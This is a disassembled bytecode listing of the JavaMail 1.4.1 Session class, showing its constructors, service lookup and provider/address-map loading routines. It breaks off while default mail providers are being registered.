.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, Session->defaultSession:Session
00000006  return-void
.end method

.method private constructor <init>(Properties, Authenticator)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Hashtable
0000000A  invoke-direct           Hashtable-><init>()V, v0
00000010  iput-object             v0, p0, Session->authTable:Hashtable
00000014  const/4                 v0, 0x0
00000016  iput-boolean            v0, p0, Session->debug:Z
0000001A  new-instance            v0, Vector
0000001E  invoke-direct           Vector-><init>()V, v0
00000024  iput-object             v0, p0, Session->providers:Vector
00000028  new-instance            v0, Hashtable
0000002C  invoke-direct           Hashtable-><init>()V, v0
00000032  iput-object             v0, p0, Session->providersByProtocol:Hashtable
00000036  new-instance            v0, Hashtable
0000003A  invoke-direct           Hashtable-><init>()V, v0
00000040  iput-object             v0, p0, Session->providersByClassName:Hashtable
00000044  new-instance            v0, Properties
00000048  invoke-direct           Properties-><init>()V, v0
0000004E  iput-object             v0, p0, Session->addressMap:Properties
00000052  iput-object             p1, p0, Session->props:Properties
00000056  iput-object             p2, p0, Session->authenticator:Authenticator
0000005A  const-string            v0, "mail.debug"
0000005E  invoke-virtual          Properties->getProperty(String)String, p1, v0
00000064  move-result-object      v0
00000066  invoke-static           Boolean->valueOf(String)Boolean, v0
0000006C  move-result-object      v0
0000006E  invoke-virtual          Boolean->booleanValue()Z, v0
00000074  move-result             v0
00000076  if-eqz                  v0, :80
:7A
0000007A  const/4                 v0, 0x1
0000007C  iput-boolean            v0, p0, Session->debug:Z
:80
00000080  iget-boolean            v0, p0, Session->debug:Z
00000084  if-eqz                  v0, :92
:88
00000088  const-string            v0, "DEBUG: JavaMail version 1.4.1"
0000008C  invoke-direct           Session->pr(String)V, p0, v0
:92
00000092  if-eqz                  p2, :AC
:96
00000096  invoke-virtual          Object->getClass()Class, p2
0000009C  move-result-object      v0
:9E
0000009E  invoke-direct           Session->loadProviders(Class)V, p0, v0
000000A4  invoke-direct           Session->loadAddressMap(Class)V, p0, v0
000000AA  return-void
:AC
000000AC  invoke-virtual          Object->getClass()Class, p0
000000B2  move-result-object      v0
000000B4  goto                    :9E
.end method

.method static synthetic access$0(Session, InputStream)V
          .registers 2
00000000  invoke-direct           Session->loadProvidersFromStream(InputStream)V, p0, p1
00000006  return-void
.end method

.method static synthetic access$1(Session)Properties
          .registers 2
00000000  iget-object             v0, p0, Session->addressMap:Properties
00000004  return-object           v0
.end method

.method private static getContextClassLoader()ClassLoader
          .registers 1
00000000  new-instance            v0, Session$3
00000004  invoke-direct           Session$3-><init>()V, v0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, ClassLoader
00000016  return-object           v0
.end method

.method public static getDefaultInstance(Properties)Session
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-static           Session->getDefaultInstance(Properties, Authenticator)Session, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static declared-synchronized getDefaultInstance(Properties, Authenticator)Session
          .registers 5
00000000  const-class             v1, Session
00000004  monitor-enter           v1
:6
00000006  sget-object             v0, Session->defaultSession:Session
0000000A  if-nez                  v0, :24
:E
0000000E  new-instance            v0, Session
00000012  invoke-direct           Session-><init>(Properties, Authenticator)V, v0, p0, p1
00000018  sput-object             v0, Session->defaultSession:Session
:1C
0000001C  sget-object             v0, Session->defaultSession:Session
:20
00000020  monitor-exit            v1
00000022  return-object           v0
:24
00000024  sget-object             v0, Session->defaultSession:Session
00000028  iget-object             v0, v0, Session->authenticator:Authenticator
0000002C  if-eq                   v0, p1, :1C
:30
00000030  sget-object             v0, Session->defaultSession:Session
00000034  iget-object             v0, v0, Session->authenticator:Authenticator
00000038  if-eqz                  v0, :6C
:3C
0000003C  if-eqz                  p1, :6C
:40
00000040  sget-object             v0, Session->defaultSession:Session
00000044  iget-object             v0, v0, Session->authenticator:Authenticator
00000048  invoke-virtual          Object->getClass()Class, v0
0000004E  move-result-object      v0
00000050  invoke-virtual          Class->getClassLoader()ClassLoader, v0
00000056  move-result-object      v0
00000058  invoke-virtual          Object->getClass()Class, p1
0000005E  move-result-object      v2
00000060  invoke-virtual          Class->getClassLoader()ClassLoader, v2
00000066  move-result-object      v2
00000068  if-eq                   v0, v2, :1C
:6C
0000006C  new-instance            v0, SecurityException
00000070  const-string            v2, "Access to default session denied"
00000074  invoke-direct           SecurityException-><init>(String)V, v0, v2
0000007A  throw                   v0
:7C
0000007C  move-exception          v0
0000007E  monitor-exit            v1
00000080  throw                   v0
          .catchall {:6 .. :20} :7C
          .catchall {:24 .. :7C} :7C
.end method

.method public static getInstance(Properties)Session
          .registers 3
00000000  new-instance            v0, Session
00000004  const/4                 v1, 0x0
00000006  invoke-direct           Session-><init>(Properties, Authenticator)V, v0, p0, v1
0000000C  return-object           v0
.end method

.method public static getInstance(Properties, Authenticator)Session
          .registers 3
00000000  new-instance            v0, Session
00000004  invoke-direct           Session-><init>(Properties, Authenticator)V, v0, p0, p1
0000000A  return-object           v0
.end method

.method private static getResourceAsStream(Class, String)InputStream
          .registers 3
00000000  new-instance            v0, Session$4
00000004  invoke-direct           Session$4-><init>(Class, String)V, v0, p0, p1
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, InputStream
:16
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  invoke-virtual          PrivilegedActionException->getException()Exception, v0
00000020  move-result-object      v0
00000022  check-cast              v0, IOException
00000026  throw                   v0
          .catch PrivilegedActionException {:0 .. :16} :18
.end method

.method private static getResources(ClassLoader, String)[URL
          .registers 3
00000000  new-instance            v0, Session$5
00000004  invoke-direct           Session$5-><init>(ClassLoader, String)V, v0, p0, p1
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, [URL
00000016  return-object           v0
.end method

.method private getService(Provider, URLName)Object
          .registers 10
00000000  const/4                 v2, 0x0
00000002  if-nez                  p1, :16
:6
00000006  new-instance            v0, NoSuchProviderException
0000000A  const-string            v1, "null"
0000000E  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000014  throw                   v0
:16
00000016  if-nez                  p2, :144
:1A
0000001A  new-instance            v0, URLName
0000001E  invoke-virtual          Provider->getProtocol()String, p1
00000024  move-result-object      v1
00000026  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000028  move-object             v4, v2
0000002A  move-object             v5, v2
0000002C  move-object             v6, v2
0000002E  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
:34
00000034  iget-object             v1, p0, Session->authenticator:Authenticator
00000038  if-eqz                  v1, :BE
:3C
0000003C  iget-object             v1, p0, Session->authenticator:Authenticator
00000040  invoke-virtual          Object->getClass()Class, v1
00000046  move-result-object      v1
00000048  invoke-virtual          Class->getClassLoader()ClassLoader, v1
0000004E  move-result-object      v1
:50
00000050  invoke-static           Session->getContextClassLoader()ClassLoader
:56
00000056  move-result-object      v3
00000058  if-eqz                  v3, :6C
:5C
0000005C  invoke-virtual          Provider->getClassName()String, p1
00000062  move-result-object      v4
00000064  invoke-virtual          ClassLoader->loadClass(String)Class, v3, v4
:6A
0000006A  move-result-object      v2
:6C
0000006C  if-nez                  v2, :140
:70
00000070  invoke-virtual          Provider->getClassName()String, p1
00000076  move-result-object      v2
00000078  invoke-virtual          ClassLoader->loadClass(String)Class, v1, v2
:7E
0000007E  move-result-object      v1
:80
00000080  const/4                 v2, 0x2
:82
00000082  new-array               v2, v2, [Class
00000086  const/4                 v3, 0x0
00000088  const-class             v4, Session
0000008C  aput-object             v4, v2, v3
00000090  const/4                 v3, 0x1
00000092  const-class             v4, URLName
00000096  aput-object             v4, v2, v3
0000009A  invoke-virtual          Class->getConstructor([Class)Constructor, v1, v2
000000A0  move-result-object      v1
000000A2  const/4                 v2, 0x2
000000A4  new-array               v2, v2, [Object
000000A8  const/4                 v3, 0x0
000000AA  aput-object             p0, v2, v3
000000AE  const/4                 v3, 0x1
000000B0  aput-object             v0, v2, v3
000000B4  invoke-virtual          Constructor->newInstance([Object)Object, v1, v2
:BA
000000BA  move-result-object      v0
000000BC  return-object           v0
:BE
000000BE  invoke-virtual          Object->getClass()Class, p0
000000C4  move-result-object      v1
000000C6  invoke-virtual          Class->getClassLoader()ClassLoader, v1
000000CC  move-result-object      v1
000000CE  goto                    :50
:D0
000000D0  move-exception          v1
:D2
000000D2  invoke-virtual          Provider->getClassName()String, p1
000000D8  move-result-object      v1
000000DA  invoke-static           Class->forName(String)Class, v1
:E0
000000E0  move-result-object      v1
000000E2  goto                    :80
:E4
000000E4  move-exception          v0
000000E6  iget-boolean            v1, p0, Session->debug:Z
000000EA  if-eqz                  v1, :FC
:EE
000000EE  invoke-virtual          Session->getDebugOut()PrintStream, p0
000000F4  move-result-object      v1
000000F6  invoke-virtual          Exception->printStackTrace(PrintStream)V, v0, v1
:FC
000000FC  new-instance            v0, NoSuchProviderException
00000100  invoke-virtual          Provider->getProtocol()String, p1
00000106  move-result-object      v1
00000108  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
0000010E  throw                   v0
:110
00000110  move-exception          v0
00000112  iget-boolean            v1, p0, Session->debug:Z
00000116  if-eqz                  v1, :128
:11A
0000011A  invoke-virtual          Session->getDebugOut()PrintStream, p0
00000120  move-result-object      v1
00000122  invoke-virtual          Exception->printStackTrace(PrintStream)V, v0, v1
:128
00000128  new-instance            v0, NoSuchProviderException
0000012C  invoke-virtual          Provider->getProtocol()String, p1
00000132  move-result-object      v1
00000134  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
0000013A  throw                   v0
:13C
0000013C  move-exception          v3
0000013E  goto                    :6C
:140
00000140  move-object             v1, v2
00000142  goto                    :80
:144
00000144  move-object             v0, p2
00000146  goto/16                 :34
          .catch Exception {:50 .. :56} :D0
          .catch ClassNotFoundException {:5C .. :6A} :13C
          .catch Exception {:5C .. :6A} :D0
          .catch Exception {:70 .. :7E} :D0
          .catch Exception {:82 .. :BA} :110
          .catch Exception {:D2 .. :E0} :E4
.end method

.method private getStore(Provider, URLName)Store
          .registers 5
00000000  if-eqz                  p1, :14
:4
00000004  invoke-virtual          Provider->getType()Provider$Type, p1
0000000A  move-result-object      v0
0000000C  sget-object             v1, Provider$Type->STORE:Provider$Type
00000010  if-eq                   v0, v1, :24
:14
00000014  new-instance            v0, NoSuchProviderException
00000018  const-string            v1, "invalid provider"
0000001C  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  invoke-direct           Session->getService(Provider, URLName)Object, p0, p1, p2
0000002A  move-result-object      v0
0000002C  check-cast              v0, Store
:30
00000030  return-object           v0
:32
00000032  move-exception          v0
00000034  new-instance            v0, NoSuchProviderException
00000038  const-string            v1, "incorrect class"
0000003C  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000042  throw                   v0
          .catch ClassCastException {:24 .. :30} :32
.end method

.method private static getSystemResources(String)[URL
          .registers 2
00000000  new-instance            v0, Session$6
00000004  invoke-direct           Session$6-><init>(String)V, v0, p0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, [URL
00000016  return-object           v0
.end method

.method private getTransport(Provider, URLName)Transport
          .registers 5
00000000  if-eqz                  p1, :14
:4
00000004  invoke-virtual          Provider->getType()Provider$Type, p1
0000000A  move-result-object      v0
0000000C  sget-object             v1, Provider$Type->TRANSPORT:Provider$Type
00000010  if-eq                   v0, v1, :24
:14
00000014  new-instance            v0, NoSuchProviderException
00000018  const-string            v1, "invalid provider"
0000001C  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  invoke-direct           Session->getService(Provider, URLName)Object, p0, p1, p2
0000002A  move-result-object      v0
0000002C  check-cast              v0, Transport
:30
00000030  return-object           v0
:32
00000032  move-exception          v0
00000034  new-instance            v0, NoSuchProviderException
00000038  const-string            v1, "incorrect class"
0000003C  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000042  throw                   v0
          .catch ClassCastException {:24 .. :30} :32
.end method

.method private loadAddressMap(Class)V
          .registers 5
00000000  new-instance            v0, Session$2
00000004  invoke-direct           Session$2-><init>(Session)V, v0, p0
0000000A  const-string            v1, "/META-INF/javamail.default.address.map"
0000000E  invoke-direct           Session->loadResource(String, Class, StreamLoader)V, p0, v1, p1, v0
00000014  const-string            v1, "META-INF/javamail.address.map"
00000018  invoke-direct           Session->loadAllResources(String, Class, StreamLoader)V, p0, v1, p1, v0
:1E
0000001E  new-instance            v1, StringBuilder
00000022  const-string            v2, "java.home"
00000026  invoke-static           System->getProperty(String)String, v2
0000002C  move-result-object      v2
0000002E  invoke-static           String->valueOf(Object)String, v2
00000034  move-result-object      v2
00000036  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000003C  sget-object             v2, File->separator:String
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000046  move-result-object      v1
00000048  const-string            v2, "lib"
0000004C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000052  move-result-object      v1
00000054  sget-object             v2, File->separator:String
00000058  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005E  move-result-object      v1
00000060  const-string            v2, "javamail.address.map"
00000064  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000006A  move-result-object      v1
0000006C  invoke-virtual          StringBuilder->toString()String, v1
00000072  move-result-object      v1
00000074  invoke-direct           Session->loadFile(String, StreamLoader)V, p0, v1, v0
:7A
0000007A  iget-object             v0, p0, Session->addressMap:Properties
0000007E  invoke-virtual          Properties->isEmpty()Z, v0
00000084  move-result             v0
00000086  if-eqz                  v0, :AE
:8A
0000008A  iget-boolean            v0, p0, Session->debug:Z
0000008E  if-eqz                  v0, :9C
:92
00000092  const-string            v0, "DEBUG: failed to load address map, using defaults"
00000096  invoke-direct           Session->pr(String)V, p0, v0
:9C
0000009C  iget-object             v0, p0, Session->addressMap:Properties
000000A0  const-string            v1, "rfc822"
000000A4  const-string            v2, "smtp"
000000A8  invoke-virtual          Properties->put(Object, Object)Object, v0, v1, v2
:AE
000000AE  return-void
:B0
000000B0  move-exception          v0
000000B2  iget-boolean            v1, p0, Session->debug:Z
000000B6  if-eqz                  v1, :7A
:BA
000000BA  new-instance            v1, StringBuilder
000000BE  const-string            v2, "DEBUG: can\'t get java.home: "
000000C2  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000C8  invoke-virtual          StringBuilder->append(Object)StringBuilder, v1, v0
000000CE  move-result-object      v0
000000D0  invoke-virtual          StringBuilder->toString()String, v0
000000D6  move-result-object      v0
000000D8  invoke-direct           Session->pr(String)V, p0, v0
000000DE  goto                    :7A
          .catch SecurityException {:1E .. :7A} :B0
.end method

.method private loadAllResources(String, Class, StreamLoader)V
          .registers 12
00000000  const/4                 v2, 0x0
:2
00000002  invoke-static           Session->getContextClassLoader()ClassLoader
00000008  move-result-object      v0
0000000A  if-nez                  v0, :16
:E
0000000E  invoke-virtual          Class->getClassLoader()ClassLoader, p2
00000014  move-result-object      v0
:16
00000016  if-eqz                  v0, :6C
:1A
0000001A  invoke-static           Session->getResources(ClassLoader, String)[URL, v0, p1
00000020  move-result-object      v0
00000022  move-object             v4, v0
:24
00000024  if-eqz                  v4, :30
:28
00000028  move                    v3, v2
:2A
0000002A  array-length            v0, v4
:2C
0000002C  if-lt                   v3, v0, :78
:30
00000030  if-nez                  v2, :6A
:34
00000034  iget-boolean            v0, p0, Session->debug:Z
00000038  if-eqz                  v0, :46
:3C
0000003C  const-string            v0, "DEBUG: !anyLoaded"
00000040  invoke-direct           Session->pr(String)V, p0, v0
:46
00000046  new-instance            v0, StringBuilder
0000004A  const-string            v1, "/"
0000004E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000054  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000005A  move-result-object      v0
0000005C  invoke-virtual          StringBuilder->toString()String, v0
00000062  move-result-object      v0
00000064  invoke-direct           Session->loadResource(String, Class, StreamLoader)V, p0, v0, p2, p3
:6A
0000006A  return-void
:6C
0000006C  invoke-static           Session->getSystemResources(String)[URL, p1
00000072  move-result-object      v0
00000074  move-object             v4, v0
00000076  goto                    :24
:78
00000078  aget-object             v0, v4, v3
0000007C  const/4                 v1, 0x0
0000007E  iget-boolean            v5, p0, Session->debug:Z
00000082  if-eqz                  v5, :AA
:86
00000086  new-instance            v5, StringBuilder
0000008A  const-string            v6, "DEBUG: URL "
0000008E  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000094  invoke-virtual          StringBuilder->append(Object)StringBuilder, v5, v0
0000009A  move-result-object      v5
0000009C  invoke-virtual          StringBuilder->toString()String, v5
000000A2  move-result-object      v5
000000A4  invoke-direct           Session->pr(String)V, p0, v5
:AA
000000AA  invoke-static           Session->openStream(URL)InputStream, v0
:B0
000000B0  move-result-object      v1
000000B2  if-eqz                  v1, :100
:B6
000000B6  invoke-interface        StreamLoader->load(InputStream)V, p3, v1
000000BC  const/4                 v2, 0x1
000000BE  iget-boolean            v5, p0, Session->debug:Z
000000C2  if-eqz                  v5, :232
:C6
000000C6  new-instance            v5, StringBuilder
000000CA  const-string            v6, "DEBUG: successfully loaded resource: "
000000CE  invoke-direct           StringBuilder-><init>(String)V, v5, v6
000000D4  invoke-virtual          StringBuilder->append(Object)StringBuilder, v5, v0
000000DA  move-result-object      v0
000000DC  invoke-virtual          StringBuilder->toString()String, v0
000000E2  move-result-object      v0
000000E4  invoke-direct           Session->pr(String)V, p0, v0
:EA
000000EA  move                    v0, v2
:EC
000000EC  if-eqz                  v1, :F6
:F0
000000F0  invoke-virtual          InputStream->close()V, v1
:F6
000000F6  add-int/lit8            v2, v3, 0x1
000000FA  move                    v3, v2
000000FC  move                    v2, v0
000000FE  goto                    :2A
:100
00000100  iget-boolean            v5, p0, Session->debug:Z
00000104  if-eqz                  v5, :232
:108
00000108  new-instance            v5, StringBuilder
0000010C  const-string            v6, "DEBUG: not loading resource: "
00000110  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000116  invoke-virtual          StringBuilder->append(Object)StringBuilder, v5, v0
0000011C  move-result-object      v0
0000011E  invoke-virtual          StringBuilder->toString()String, v0
00000124  move-result-object      v0
00000126  invoke-direct           Session->pr(String)V, p0, v0
:12C
0000012C  move                    v0, v2
0000012E  goto                    :EC
:130
00000130  move-exception          v0
00000132  move-object             v7, v0
00000134  move                    v0, v2
00000136  move-object             v2, v1
00000138  move-object             v1, v7
:13A
0000013A  iget-boolean            v5, p0, Session->debug:Z
0000013E  if-eqz                  v5, :166
:142
00000142  new-instance            v5, StringBuilder
00000146  const-string            v6, "DEBUG: "
0000014A  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000150  invoke-virtual          StringBuilder->append(Object)StringBuilder, v5, v1
00000156  move-result-object      v1
00000158  invoke-virtual          StringBuilder->toString()String, v1
0000015E  move-result-object      v1
00000160  invoke-direct           Session->pr(String)V, p0, v1
:166
00000166  if-eqz                  v2, :F6
:16A
0000016A  invoke-virtual          InputStream->close()V, v2
:170
00000170  goto                    :F6
:172
00000172  move-exception          v1
00000174  goto                    :F6
:176
00000176  move-exception          v0
00000178  move-object             v7, v0
0000017A  move                    v0, v2
0000017C  move-object             v2, v1
0000017E  move-object             v1, v7
:180
00000180  iget-boolean            v5, p0, Session->debug:Z
00000184  if-eqz                  v5, :1AC
:188
00000188  new-instance            v5, StringBuilder
0000018C  const-string            v6, "DEBUG: "
00000190  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000196  invoke-virtual          StringBuilder->append(Object)StringBuilder, v5, v1
0000019C  move-result-object      v1
0000019E  invoke-virtual          StringBuilder->toString()String, v1
000001A4  move-result-object      v1
000001A6  invoke-direct           Session->pr(String)V, p0, v1
:1AC
000001AC  if-eqz                  v2, :F6
:1B0
000001B0  invoke-virtual          InputStream->close()V, v2
:1B6
000001B6  goto                    :F6
:1B8
000001B8  move-exception          v1
000001BA  goto                    :F6
:1BC
000001BC  move-exception          v0
:1BE
000001BE  if-eqz                  v1, :1C8
:1C2
000001C2  invoke-virtual          InputStream->close()V, v1
:1C8
000001C8  throw                   v0
:1CA
000001CA  move-exception          v0
:1CC
000001CC  iget-boolean            v1, p0, Session->debug:Z
000001D0  if-eqz                  v1, :30
:1D4
000001D4  new-instance            v1, StringBuilder
000001D8  const-string            v3, "DEBUG: "
000001DC  invoke-direct           StringBuilder-><init>(String)V, v1, v3
000001E2  invoke-virtual          StringBuilder->append(Object)StringBuilder, v1, v0
000001E8  move-result-object      v0
000001EA  invoke-virtual          StringBuilder->toString()String, v0
000001F0  move-result-object      v0
000001F2  invoke-direct           Session->pr(String)V, p0, v0
000001F8  goto/16                 :30
:1FC
000001FC  move-exception          v1
000001FE  goto                    :1C8
:200
00000200  move-exception          v1
00000202  goto/16                 :F6
:206
00000206  move-exception          v1
00000208  move                    v2, v0
0000020A  move-object             v0, v1
0000020C  goto                    :1CC
:20E
0000020E  move-exception          v1
00000210  move-object             v7, v1
00000212  move-object             v1, v2
00000214  move                    v2, v0
00000216  move-object             v0, v7
00000218  goto                    :1BE
:21A
0000021A  move-exception          v0
0000021C  move-object             v7, v0
0000021E  move                    v0, v2
00000220  move-object             v2, v1
00000222  move-object             v1, v7
00000224  goto                    :180
:226
00000226  move-exception          v0
00000228  move-object             v7, v0
0000022A  move                    v0, v2
0000022C  move-object             v2, v1
0000022E  move-object             v1, v7
00000230  goto                    :13A
:232
00000232  move                    v0, v2
00000234  goto/16                 :EC
          .catch Exception {:2 .. :2C} :1CA
          .catch Exception {:6C .. :AA} :1CA
          .catch IOException {:AA .. :B0} :130
          .catch SecurityException {:AA .. :B0} :176
          .catchall {:AA .. :B0} :1BC
          .catch IOException {:B6 .. :EA} :226
          .catch SecurityException {:B6 .. :EA} :21A
          .catchall {:B6 .. :EA} :1BC
          .catch IOException {:F0 .. :F6} :200
          .catch Exception {:F0 .. :F6} :206
          .catch IOException {:100 .. :12C} :226
          .catch SecurityException {:100 .. :12C} :21A
          .catchall {:100 .. :12C} :1BC
          .catchall {:13A .. :166} :20E
          .catch IOException {:16A .. :170} :172
          .catch Exception {:16A .. :170} :206
          .catchall {:180 .. :1AC} :20E
          .catch IOException {:1B0 .. :1B6} :1B8
          .catch Exception {:1B0 .. :1B6} :206
          .catch IOException {:1C2 .. :1C8} :1FC
          .catch Exception {:1C2 .. :1C8} :1CA
          .catch Exception {:1C8 .. :1CA} :1CA
.end method

.method private loadFile(String, StreamLoader)V
          .registers 7
00000000  const/4                 v2, 0x0
:2
00000002  new-instance            v1, BufferedInputStream
00000006  new-instance            v0, FileInputStream
0000000A  invoke-direct           FileInputStream-><init>(String)V, v0, p1
00000010  invoke-direct           BufferedInputStream-><init>(InputStream)V, v1, v0
:16
00000016  invoke-interface        StreamLoader->load(InputStream)V, p2, v1
0000001C  iget-boolean            v0, p0, Session->debug:Z
00000020  if-eqz                  v0, :48
:24
00000024  new-instance            v0, StringBuilder
00000028  const-string            v2, "DEBUG: successfully loaded file: "
0000002C  invoke-direct           StringBuilder-><init>(String)V, v0, v2
00000032  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000038  move-result-object      v0
0000003A  invoke-virtual          StringBuilder->toString()String, v0
00000040  move-result-object      v0
00000042  invoke-direct           Session->pr(String)V, p0, v0
:48
00000048  if-eqz                  v1, :52
:4C
0000004C  invoke-virtual          InputStream->close()V, v1
:52
00000052  return-void
:54
00000054  move-exception          v0
00000056  move-object             v1, v2
:58
00000058  iget-boolean            v2, p0, Session->debug:Z
0000005C  if-eqz                  v2, :A8
:60
00000060  new-instance            v2, StringBuilder
00000064  const-string            v3, "DEBUG: not loading file: "
00000068  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000006E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
00000074  move-result-object      v2
00000076  invoke-virtual          StringBuilder->toString()String, v2
0000007C  move-result-object      v2
0000007E  invoke-direct           Session->pr(String)V, p0, v2
00000084  new-instance            v2, StringBuilder
00000088  const-string            v3, "DEBUG: "
0000008C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000092  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000098  move-result-object      v0
0000009A  invoke-virtual          StringBuilder->toString()String, v0
000000A0  move-result-object      v0
000000A2  invoke-direct           Session->pr(String)V, p0, v0
:A8
000000A8  if-eqz                  v1, :52
:AC
000000AC  invoke-virtual          InputStream->close()V, v1
:B2
000000B2  goto                    :52
:B4
000000B4  move-exception          v0
000000B6  goto                    :52
:B8
000000B8  move-exception          v0
000000BA  move-object             v1, v2
:BC
000000BC  iget-boolean            v2, p0, Session->debug:Z
000000C0  if-eqz                  v2, :10C
:C4
000000C4  new-instance            v2, StringBuilder
000000C8  const-string            v3, "DEBUG: not loading file: "
000000CC  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000D2  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
000000D8  move-result-object      v2
000000DA  invoke-virtual          StringBuilder->toString()String, v2
000000E0  move-result-object      v2
000000E2  invoke-direct           Session->pr(String)V, p0, v2
000000E8  new-instance            v2, StringBuilder
000000EC  const-string            v3, "DEBUG: "
000000F0  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000F6  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
000000FC  move-result-object      v0
000000FE  invoke-virtual          StringBuilder->toString()String, v0
00000104  move-result-object      v0
00000106  invoke-direct           Session->pr(String)V, p0, v0
:10C
0000010C  if-eqz                  v1, :52
:110
00000110  invoke-virtual          InputStream->close()V, v1
:116
00000116  goto                    :52
:118
00000118  move-exception          v0
0000011A  goto                    :52
:11C
0000011C  move-exception          v0
0000011E  move-object             v1, v2
:120
00000120  if-eqz                  v1, :12A
:124
00000124  invoke-virtual          InputStream->close()V, v1
:12A
0000012A  throw                   v0
:12C
0000012C  move-exception          v1
0000012E  goto                    :12A
:130
00000130  move-exception          v0
00000132  goto                    :52
:134
00000134  move-exception          v0
00000136  goto                    :120
:138
00000138  move-exception          v0
0000013A  goto                    :BC
:13C
0000013C  move-exception          v0
0000013E  goto                    :58
          .catch IOException {:2 .. :16} :54
          .catch SecurityException {:2 .. :16} :B8
          .catchall {:2 .. :16} :11C
          .catch IOException {:16 .. :48} :13C
          .catch SecurityException {:16 .. :48} :138
          .catchall {:16 .. :48} :134
          .catch IOException {:4C .. :52} :130
          .catchall {:58 .. :A8} :134
          .catch IOException {:AC .. :B2} :B4
          .catchall {:BC .. :10C} :134
          .catch IOException {:110 .. :116} :118
          .catch IOException {:124 .. :12A} :12C
.end method

.method private loadProviders(Class)V
          .registers 8
00000000  new-instance            v1, Session$1
00000004  invoke-direct           Session$1-><init>(Session)V, v1, p0
:A
0000000A  new-instance            v0, StringBuilder
0000000E  const-string            v2, "java.home"
00000012  invoke-static           System->getProperty(String)String, v2
00000018  move-result-object      v2
0000001A  invoke-static           String->valueOf(Object)String, v2
00000020  move-result-object      v2
00000022  invoke-direct           StringBuilder-><init>(String)V, v0, v2
00000028  sget-object             v2, File->separator:String
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000032  move-result-object      v0
00000034  const-string            v2, "lib"
00000038  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000003E  move-result-object      v0
00000040  sget-object             v2, File->separator:String
00000044  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000004A  move-result-object      v0
0000004C  const-string            v2, "javamail.providers"
00000050  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000056  move-result-object      v0
00000058  invoke-virtual          StringBuilder->toString()String, v0
0000005E  move-result-object      v0
00000060  invoke-direct           Session->loadFile(String, StreamLoader)V, p0, v0, v1
:66
00000066  const-string            v0, "META-INF/javamail.providers"
0000006A  invoke-direct           Session->loadAllResources(String, Class, StreamLoader)V, p0, v0, p1, v1
00000070  const-string            v0, "/META-INF/javamail.default.providers"
00000074  invoke-direct           Session->loadResource(String, Class, StreamLoader)V, p0, v0, p1, v1
0000007A  iget-object             v0, p0, Session->providers:Vector
0000007E  invoke-virtual          Vector->size()I, v0
00000084  move-result             v0
00000086  if-nez                  v0, :174
:8A
0000008A  iget-boolean            v0, p0, Session->debug:Z
0000008E  if-eqz                  v0, :9C
:92
00000092  const-string            v0, "DEBUG: failed to load any providers, using defaults"
00000096  invoke-direct           Session->pr(String)V, p0, v0
:9C
0000009C  new-instance            v0, Provider
000000A0  sget-object             v1, Provider$Type->STORE:Provider$Type
000000A4  const-string            v2, "imap"
000000A8  const-string            v3, "com.sun.mail.imap.IMAPStore"
000000AC  const-string            v4, "Sun Microsystems, Inc."
000000B0  const-string            v5, "1.4.1"
000000B4  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
000000BA  invoke-virtual          Session->addProvider(Provider)V, p0, v0
000000C0  new-instance            v0, Provider
000000C4  sget-object             v1, Provider$Type->STORE:Provider$Type
000000C8  const-string            v2, "imaps"
000000CC  const-string            v3, "com.sun.mail.imap.IMAPSSLStore"
000000D0  const-string            v4, "Sun Microsystems, Inc."
000000D4  const-string            v5, "1.4.1"
000000D8  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
000000DE  invoke-virtual          Session->addProvider(Provider)V, p0, v0
000000E4  new-instance            v0, Provider
000000E8  sget-object             v1, Provider$Type->STORE:Provider$Type
000000EC  const-string            v2, "pop3"
